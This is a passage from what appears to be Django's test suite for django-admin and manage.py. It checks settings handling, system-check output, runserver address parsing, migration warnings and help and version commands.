        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_settings(self):
        "alternate: django-admin builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.alternate_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "alternate: django-admin builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "alternate: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "alternate: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "alternate: django-admin can't execute user commands unless settings are provided"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "alternate: django-admin can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.alternate_settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "alternate: django-admin can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_django_admin(args, 'test_project.alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class DjangoAdminSettingsDirectory(AdminScriptTestCase):
    """
    A series of tests for django-admin.py when the settings file is in a
    directory. (see #9751).
    """

    def setUp(self):
        self.write_settings('settings', is_dir=True)

    def tearDown(self):
        self.remove_settings('settings', is_dir=True)

    def test_setup_environ(self):
        "directory: startapp creates the correct directory"
        args = ['startapp', 'settings_test']
        app_path = os.path.join(self.test_dir, 'settings_test')
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.addCleanup(shutil.rmtree, app_path)
        self.assertNoOutput(err)
        self.assertTrue(os.path.exists(app_path))
        unicode_literals_import = "from __future__ import unicode_literals\n"
        with open(os.path.join(app_path, 'apps.py'), 'r') as f:
            content = f.read()
            self.assertIn("class SettingsTestConfig(AppConfig)", content)
            self.assertIn("name = 'settings_test'", content)
            if not PY3:
                self.assertIn(unicode_literals_import, content)
        if not PY3:
            with open(os.path.join(app_path, 'models.py'), 'r') as fp:
                content = fp.read()
            self.assertIn(unicode_literals_import, content)

    def test_setup_environ_custom_template(self):
        "directory: startapp creates the correct directory with a custom template"
        template_path = os.path.join(custom_templates_dir, 'app_template')
        args = ['startapp', '--template', template_path, 'custom_settings_test']
        app_path = os.path.join(self.test_dir, 'custom_settings_test')
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.addCleanup(shutil.rmtree, app_path)
        self.assertNoOutput(err)
        self.assertTrue(os.path.exists(app_path))
        self.assertTrue(os.path.exists(os.path.join(app_path, 'api.py')))

    @unittest.skipIf(PY2, "Python 2 doesn't support Unicode package names.")
    def test_startapp_unicode_name(self):
        "directory: startapp creates the correct directory with unicode characters"
        args = ['startapp', 'こんにちは']
        app_path = os.path.join(self.test_dir, 'こんにちは')
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.addCleanup(shutil.rmtree, app_path)
        self.assertNoOutput(err)
        self.assertTrue(os.path.exists(app_path))
        with open(os.path.join(app_path, 'apps.py'), 'r', encoding='utf8') as f:
            content = f.read()
            self.assertIn("class こんにちはConfig(AppConfig)", content)
            self.assertIn("name = 'こんにちは'", content)

    def test_builtin_command(self):
        "directory: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_bad_settings(self):
        "directory: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "directory: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "directory: django-admin can't execute user commands unless settings are provided"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_builtin_with_settings(self):
        "directory: django-admin builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "directory: django-admin builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)


##########################################################################
# MANAGE.PY TESTS
# This next series of test classes checks the environment processing
# of the generated manage.py script
##########################################################################

class ManageNoSettings(AdminScriptTestCase):
    "A series of tests for manage.py when there is no settings.py file."

    def test_builtin_command(self):
        "no settings: manage.py builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?(test_project\.)?settings'?", regex=True)

    def test_builtin_with_bad_settings(self):
        "no settings: manage.py builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "no settings: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)


class ManageDefaultSettings(AdminScriptTestCase):
    """A series of tests for manage.py when using a settings.py file that
    contains the test application.
    """
    def setUp(self):
        self.write_settings('settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "default: manage.py builtin commands succeed when default settings are appropriate"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_settings(self):
        "default: manage.py builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "default: manage.py builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "default: manage.py builtin commands succeed if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "default: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "default: manage.py can execute user commands when default settings are appropriate"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_settings(self):
        "default: manage.py can execute user commands when settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "default: manage.py can execute user commands when settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class ManageFullPathDefaultSettings(AdminScriptTestCase):
    """A series of tests for manage.py when using a settings.py file that
    contains the test application specified using a full path.
    """
    def setUp(self):
        self.write_settings('settings.py', ['django.contrib.auth', 'django.contrib.contenttypes', 'admin_scripts'])

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "fulldefault: manage.py builtin commands succeed when default settings are appropriate"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_settings(self):
        "fulldefault: manage.py builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "fulldefault: manage.py builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "fulldefault: manage.py builtin commands succeed if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "fulldefault: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "fulldefault: manage.py can execute user commands when default settings are appropriate"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_settings(self):
        "fulldefault: manage.py can execute user commands when settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "fulldefault: manage.py can execute user commands when settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class ManageMinimalSettings(AdminScriptTestCase):
    """A series of tests for manage.py when using a settings.py file that
    doesn't contain the test application.
    """
    def setUp(self):
        self.write_settings('settings.py', apps=['django.contrib.auth', 'django.contrib.contenttypes'])

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "minimal: manage.py builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_settings(self):
        "minimal: manage.py builtin commands fail if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_environment(self):
        "minimal: manage.py builtin commands fail if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_bad_settings(self):
        "minimal: manage.py builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "minimal: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "minimal: manage.py can't execute user commands without appropriate settings"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "minimal: manage.py can't execute user commands, even if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_environment(self):
        "minimal: manage.py can't execute user commands, even if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_manage(args, 'test_project.settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")


class ManageAlternateSettings(AdminScriptTestCase):
    """A series of tests for manage.py when using a settings file
    with a name other than 'settings.py'.
    """
    def setUp(self):
        self.write_settings('alternate_settings.py')

    def tearDown(self):
        self.remove_settings('alternate_settings.py')

    def test_builtin_command(self):
        "alternate: manage.py builtin commands fail with an error when no default settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?(test_project\.)?settings'?", regex=True)

    def test_builtin_with_settings(self):
        "alternate: manage.py builtin commands work with settings provided as argument"
        args = ['check', '--settings=alternate_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertOutput(out, SYSTEM_CHECK_MSG)
        self.assertNoOutput(err)

    def test_builtin_with_environment(self):
        "alternate: manage.py builtin commands work if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertOutput(out, SYSTEM_CHECK_MSG)
        self.assertNoOutput(err)

    def test_builtin_with_bad_settings(self):
        "alternate: manage.py builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "alternate: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "alternate: manage.py can't execute user commands without settings"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?(test_project\.)?settings'?", regex=True)

    def test_custom_command_with_settings(self):
        "alternate: manage.py can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=alternate_settings']
        out, err = self.run_manage(args)
        self.assertOutput(
            out,
            "EXECUTE: noargs_command options=[('no_color', False), "
            "('pythonpath', None), ('settings', 'alternate_settings'), "
            "('traceback', False), ('verbosity', 1)]"
        )
        self.assertNoOutput(err)

    def test_custom_command_with_environment(self):
        "alternate: manage.py can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertOutput(
            out,
            "EXECUTE: noargs_command options=[('no_color', False), "
            "('pythonpath', None), ('settings', None), ('traceback', False), "
            "('verbosity', 1)]"
        )
        self.assertNoOutput(err)

    def test_custom_command_output_color(self):
        "alternate: manage.py output syntax color can be deactivated with the `--no-color` option"
        args = ['noargs_command', '--no-color', '--settings=alternate_settings']
        out, err = self.run_manage(args)
        self.assertOutput(
            out,
            "EXECUTE: noargs_command options=[('no_color', True), "
            "('pythonpath', None), ('settings', 'alternate_settings'), "
            "('traceback', False), ('verbosity', 1)]"
        )
        self.assertNoOutput(err)


class ManageMultipleSettings(AdminScriptTestCase):
    """A series of tests for manage.py when multiple settings files
    (including the default 'settings.py') are available. The default settings
    file is insufficient for performing the operations described, so the
    alternate settings must be used by the running script.
    """
    def setUp(self):
        self.write_settings('settings.py', apps=['django.contrib.auth', 'django.contrib.contenttypes'])
        self.write_settings('alternate_settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')
        self.remove_settings('alternate_settings.py')

    def test_builtin_command(self):
        "multiple: manage.py builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_settings(self):
        "multiple: manage.py builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=alternate_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "multiple: manage.py can execute builtin commands if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "multiple: manage.py builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "multiple: manage.py builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "multiple: manage.py can't execute user commands using default settings"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "multiple: manage.py can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=alternate_settings']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "multiple: manage.py can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_manage(args, 'alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class ManageSettingsWithSettingsErrors(AdminScriptTestCase):
    """
    Tests for manage.py when using the default settings.py file containing
    runtime errors.
    """
    def tearDown(self):
        self.remove_settings('settings.py')

    def write_settings_with_import_error(self, filename):
        settings_file_path = os.path.join(self.test_dir, filename)
        with open(settings_file_path, 'w') as settings_file:
            settings_file.write('# Settings file automatically generated by admin_scripts test case\n')
            settings_file.write('# The next line will cause an import error:\nimport foo42bar\n')

    def test_import_error(self):
        """
        import error: manage.py builtin commands shows useful diagnostic info
        when settings with import errors is provided (#14130).
        """
        self.write_settings_with_import_error('settings.py')
        args = ['check', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named")
        self.assertOutput(err, "foo42bar")

    def test_attribute_error(self):
        """
        manage.py builtin commands does not swallow attribute error due to bad
        settings (#18845).
        """
        self.write_settings('settings.py', sdict={'BAD_VAR': 'INSTALLED_APPS.crash'})
        args = ['collectstatic', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "AttributeError: 'list' object has no attribute 'crash'")

    def test_key_error(self):
        self.write_settings('settings.py', sdict={'BAD_VAR': 'DATABASES["blah"]'})
        args = ['collectstatic', 'admin_scripts']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "KeyError: 'blah'")

    def test_help(self):
        """
        Test listing available commands output note when only core commands are
        available.
        """
        self.write_settings('settings.py', sdict={'MEDIA_URL': '"/no_ending_slash"'})
        args = ['help']
        out, err = self.run_manage(args)
        self.assertOutput(out, 'only Django core commands are listed')
        self.assertNoOutput(err)


class ManageCheck(AdminScriptTestCase):
    def tearDown(self):
        self.remove_settings('settings.py')

    def test_nonexistent_app(self):
        """ manage.py check reports an error on a non-existent app in
        INSTALLED_APPS """

        self.write_settings(
            'settings.py',
            apps=['admin_scriptz.broken_app'],
            sdict={'USE_I18N': False},
        )
        args = ['check']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'ImportError')
        self.assertOutput(err, 'No module named')
        self.assertOutput(err, 'admin_scriptz')

    def test_broken_app(self):
        """ manage.py check reports an ImportError if an app's models.py
        raises one on import """

        self.write_settings('settings.py', apps=['admin_scripts.broken_app'])
        args = ['check']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'ImportError')

    def test_complex_app(self):
        """ manage.py check does not raise an ImportError validating a
        complex app with nested calls to load_app """

        self.write_settings(
            'settings.py',
            apps=[
                'admin_scripts.complex_app',
                'admin_scripts.simple_app',
                'django.contrib.admin.apps.SimpleAdminConfig',
                'django.contrib.auth',
                'django.contrib.contenttypes',
            ],
            sdict={
                'DEBUG': True
            }
        )
        args = ['check']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertEqual(out, 'System check identified no issues (0 silenced).\n')

    def test_app_with_import(self):
        """ manage.py check does not raise errors when an app imports a base
        class that itself has an abstract base. """

        self.write_settings(
            'settings.py',
            apps=[
                'admin_scripts.app_with_import',
                'django.contrib.auth',
                'django.contrib.contenttypes',
                'django.contrib.sites',
            ],
            sdict={'DEBUG': True},
        )
        args = ['check']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertEqual(out, 'System check identified no issues (0 silenced).\n')

    def test_output_format(self):
        """ All errors/warnings should be sorted by level and by message. """

        self.write_settings(
            'settings.py',
            apps=[
                'admin_scripts.app_raising_messages',
                'django.contrib.auth',
                'django.contrib.contenttypes',
            ],
            sdict={'DEBUG': True},
        )
        args = ['check']
        out, err = self.run_manage(args)
        expected_err = (
            "SystemCheckError: System check identified some issues:\n"
            "\n"
            "ERRORS:\n"
            "?: An error\n"
            "\tHINT: Error hint\n"
            "\n"
            "WARNINGS:\n"
            "a: Second warning\n"
            "obj: First warning\n"
            "\tHINT: Hint\n"
            "\n"
            "System check identified 3 issues (0 silenced).\n"
        )
        self.assertEqual(err, expected_err)
        self.assertNoOutput(out)

    def test_warning_does_not_halt(self):
        """
        When there are only warnings or less serious messages, then Django
        should not prevent user from launching their project, so `check`
        command should not raise `CommandError` exception.

        In this test we also test output format.
        """

        self.write_settings(
            'settings.py',
            apps=[
                'admin_scripts.app_raising_warning',
                'django.contrib.auth',
                'django.contrib.contenttypes',
            ],
            sdict={'DEBUG': True},
        )
        args = ['check']
        out, err = self.run_manage(args)
        expected_err = (
            "System check identified some issues:\n"  # No "CommandError: " part
            "\n"
            "WARNINGS:\n"
            "?: A warning\n"
            "\n"
            "System check identified 1 issue (0 silenced).\n"
        )
        self.assertEqual(err, expected_err)
        self.assertNoOutput(out)


class ManageRunserver(AdminScriptTestCase):
    def setUp(self):
        from django.core.management.commands.runserver import Command

        def monkey_run(*args, **options):
            return

        self.output = StringIO()
        self.cmd = Command(stdout=self.output)
        self.cmd.run = monkey_run

    def assertServerSettings(self, addr, port, ipv6=False, raw_ipv6=False):
        self.assertEqual(self.cmd.addr, addr)
        self.assertEqual(self.cmd.port, port)
        self.assertEqual(self.cmd.use_ipv6, ipv6)
        self.assertEqual(self.cmd._raw_ipv6, raw_ipv6)

    def test_runserver_addrport(self):
        call_command(self.cmd)
        self.assertServerSettings('127.0.0.1', '8000')

        call_command(self.cmd, addrport="1.2.3.4:8000")
        self.assertServerSettings('1.2.3.4', '8000')

        call_command(self.cmd, addrport="7000")
        self.assertServerSettings('127.0.0.1', '7000')

    @unittest.skipUnless(socket.has_ipv6, "platform doesn't support IPv6")
    def test_runner_addrport_ipv6(self):
        call_command(self.cmd, addrport="", use_ipv6=True)
        self.assertServerSettings('::1', '8000', ipv6=True, raw_ipv6=True)

        call_command(self.cmd, addrport="7000", use_ipv6=True)
        self.assertServerSettings('::1', '7000', ipv6=True, raw_ipv6=True)

        call_command(self.cmd, addrport="[2001:0db8:1234:5678::9]:7000")
        self.assertServerSettings('2001:0db8:1234:5678::9', '7000', ipv6=True, raw_ipv6=True)

    def test_runner_hostname(self):
        call_command(self.cmd, addrport="localhost:8000")
        self.assertServerSettings('localhost', '8000')

        call_command(self.cmd, addrport="test.domain.local:7000")
        self.assertServerSettings('test.domain.local', '7000')

    @unittest.skipUnless(socket.has_ipv6, "platform doesn't support IPv6")
    def test_runner_hostname_ipv6(self):
        call_command(self.cmd, addrport="test.domain.local:7000", use_ipv6=True)
        self.assertServerSettings('test.domain.local', '7000', ipv6=True)

    def test_runner_ambiguous(self):
        # Only 4 characters, all of which could be in an ipv6 address
        call_command(self.cmd, addrport="beef:7654")
        self.assertServerSettings('beef', '7654')

        # Uses only characters that could be in an ipv6 address
        call_command(self.cmd, addrport="deadbeef:7654")
        self.assertServerSettings('deadbeef', '7654')

    def test_no_database(self):
        """
        Ensure runserver.check_migrations doesn't choke on empty DATABASES.
        """
        tested_connections = ConnectionHandler({})
        with mock.patch('django.core.management.base.connections', new=tested_connections):
            self.cmd.check_migrations()

    def test_readonly_database(self):
        """
        Ensure runserver.check_migrations doesn't choke when a database is read-only
        (with possibly no django_migrations table).
        """
        with mock.patch.object(
                MigrationRecorder, 'ensure_schema',
                side_effect=MigrationSchemaMissing()):
            self.cmd.check_migrations()
        # Check a warning is emitted
        self.assertIn("Not checking migrations", self.output.getvalue())


class ManageRunserverMigrationWarning(TestCase):

    def setUp(self):
        from django.core.management.commands.runserver import Command
        self.stdout = StringIO()
        self.runserver_command = Command(stdout=self.stdout)

    @override_settings(INSTALLED_APPS=["admin_scripts.app_waiting_migration"])
    def test_migration_warning_one_app(self):
        self.runserver_command.check_migrations()
        output = self.stdout.getvalue()
        self.assertIn('You have 1 unapplied migration(s)', output)
        self.assertIn('apply the migrations for app(s): app_waiting_migration.', output)

    @override_settings(
        INSTALLED_APPS=[
            "admin_scripts.app_waiting_migration",
            "admin_scripts.another_app_waiting_migration",
        ],
    )
    def test_migration_warning_multiple_apps(self):
        self.runserver_command.check_migrations()
        output = self.stdout.getvalue()
        self.assertIn('You have 2 unapplied migration(s)', output)
        self.assertIn(
            'apply the migrations for app(s): another_app_waiting_migration, '
            'app_waiting_migration.', output
        )


class ManageRunserverEmptyAllowedHosts(AdminScriptTestCase):
    def setUp(self):
        self.write_settings('settings.py', sdict={
            'ALLOWED_HOSTS': [],
            'DEBUG': False,
        })

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_empty_allowed_hosts_error(self):
        out, err = self.run_manage(['runserver'])
        self.assertNoOutput(out)
        self.assertOutput(err, 'CommandError: You must set settings.ALLOWED_HOSTS if DEBUG is False.')


class ManageTestserver(AdminScriptTestCase):
    from django.core.management.commands.testserver import Command as TestserverCommand

    @mock.patch.object(TestserverCommand, 'handle')
    def test_testserver_handle_params(self, mock_handle):
        out = StringIO()
        call_command('testserver', 'blah.json', stdout=out)
        mock_handle.assert_called_with(
            'blah.json',
            stdout=out, settings=None, pythonpath=None, verbosity=1,
            traceback=False, addrport='', no_color=False, use_ipv6=False,
            skip_checks=True, interactive=True,
        )


##########################################################################
# COMMAND PROCESSING TESTS
# Check that user-space commands are correctly handled - in particular,
# that arguments to the commands are correctly parsed and processed.
##########################################################################

class CommandTypes(AdminScriptTestCase):
    "Tests for the various types of base command types that can be defined."
    def setUp(self):
        self.write_settings('settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_version(self):
        "version is handled as a special case"
        args = ['version']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, get_version())

    def test_version_alternative(self):
        "--version is equivalent to version"
        args1, args2 = ['version'], ['--version']
        # It's possible one outputs on stderr and the other on stdout, hence the set
        self.assertEqual(set(self.run_manage(args1)), set(self.run_manage(args2)))

    def test_help(self):
        "help is handled as a special case"
        args = ['help']
        out, err = self.run_manage(args)
        self.assertOutput(out, "Type 'manage.py help <subcommand>' for help on a specific subcommand.")
        self.assertOutput(out, '[django]')
        self.assertOutput(out, 'startapp')
        self.assertOutput(out, 'startproject')

    def test_help_commands(self):
        "help --commands shows the list of all available commands"
        args = ['help', '--commands']
        out, err = self.run_manage(args)
        self.assertNotInOutput(out, 'usage:')
        self.assertNotInOutput(out, 'Options:')
        self.assertNotInOutput(out, '[django]')
        self.assertOutput(out, 'startapp')
        self.assertOutput(out, 'startproject')
        self.assertNotInOutput(out, '\n\n')

    def test_help_alternative(self):
        "--help is equivalent to help"
        args1, args2 = ['help'], ['--help']
        self.assertEqual(self.run_manage(args1), self.run_manage(args2))

    def test_help_short_altert(self):
        "-h is handled as a short form of --help"
        args1, args2 = ['--help'], ['-h']
        self.assertEqual(self.run_manage(args1), self.run_manage(args2))

    def test_specific_help(self):
        "--help can be used on a specific command"
        args = ['check', '--help']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "Checks the entire Django project for potential problems.")

    def test_color_style(self):
        style = color.no_style()
        self.assertEqual(style.ERROR('Hello, world!'), 'Hello, world!')

        style = color.make_style('nocolor')
        self.assertEqual(style.ERROR('Hello, world!'), 'Hello, world!')

        style = color.make_style('dark')
        self.assertIn('Hello, world!', style.ERROR('Hello, world!'))
        self.assertNotEqual(style.ERROR('Hello, world!'), 'Hello, world!')

        # Default palette has color.
        style = color.make_style('')
